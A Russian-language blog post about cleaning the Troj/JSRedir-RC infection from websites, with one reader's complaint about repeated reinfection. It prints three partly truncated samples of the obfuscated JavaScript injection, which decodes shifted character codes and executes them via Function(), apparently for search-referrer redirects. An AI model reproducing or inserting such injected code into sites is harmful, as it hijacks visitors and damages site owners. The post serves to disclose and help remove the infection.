удаление вируса Troj/JSRedir-RC

Новая пометка проявляется на сайтах — Troj/JSRedir-RC.

Очередная вредоносная вставка в яваскрипты сайтов.
Образцы вставок:

//c2enw74948wu9rz36
l4=0;i9='';l4x='Code';while(l4&lt;281){i9+=String['fromChar'+l4x]("b6>##<b7>\\#hpphmf#-#nbjm/sv#-#cjoh#-#sbncmfs#-#zbipp#-#zboefy
.......
sjqu#?=0tdsjqu?(*< "['char'+l4x+'At'](l4++)-1)}(Function('gh7="ro4pd";'+i9))();
//EtuwiVJ8IyquCc
//iirU91uHHNqV
u3=0;d6='';u3x='Code';while(u3&lt;292){d6+=String['fromChar'+u3x]("r6>##<r7>\\#zboefy#-#cjoh#-#hpphmf#-#sbncmfs#-#zbipp#-#nbjm/sv#^<gps )j>1<j =r7/mfohu
.......
bwbtdsjqu#?=0tdsjqu?(*<"['char'+u3x+'At'](u3++)-1)}(Function('gh7="ro4pd";'+d6))();
//hHKRt1vHWYKb
//ayKqqKUuGDUgAbSro
e4=0;s8='';e4x='Code';while(e4&lt;283){s8+=String['fromChar'+e4x]("f6>##<f7>\\#hpphmf#-#zbipp#-#nbjm/sv#-#zboefy#-#cjoh#-#sbncmfs
.......
fyu0kbwbtdsjqu#?=0tdsjqu?(*< "['char'+e4x+'At'](e4++)-1)}(Function('gh7="slkoo";'+s8))();
//61650264334

* — по соображениям безопасности часть вредоносного кода удалена.
Причины появления вредоносной вставки выясняются.

1 коммент

Сергей on 14.06.2016 at 20:38.

Вирус Troj/JSRedir-RC просто достал. Уже наизусть знаю какие файлы на разных сайтах, но на одном хостинге, вирус дописывает своим кодом. Сайты приносили ограниченное количество клиентов, на трафик катастрофически упал. Помогите побороть проблему. Хостинг nic.ru

Ответить

Скажите свое мнение

ваш email не публикуется. обязательно *

;-) :yawn: :whew: :toivo: :tmi: :time: :thinking: :talking: :sweating: :swear: :sun: :star: :smoke: :smirk: :sleepy: :skype: :shock: :shake: :rofl: :rain: :punch: :puke: :poolparty: :pizza: :phone: :party: :oops: :nod: :no: :ninja: :neutral: :nerd: :music: :muscle: :mrgreen: :movie: :mooning: :mmm: :middlefinger: :makeup: :mail: :mad: :lol: :lipssealed: :kiss: :itwashtme: :inlove: :idea: :hi: :heidy: :heart: :headbang: :happy: :handshake: :giggle: :fubar: :flower: :evilgrin: :emo: :dull: :drunk: :drink: :doh: :devil: :dance: :cry: :cool: :coffie: :clapping: :cash: :call: :cake: :bug: :brokenheart: :bow: :blush: :beer: :bear: :bandit: :arrow: :angry: :angel: :^) :???: :?: :-| :-o :-P :-D :-) :-( :!:

 

*

code

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.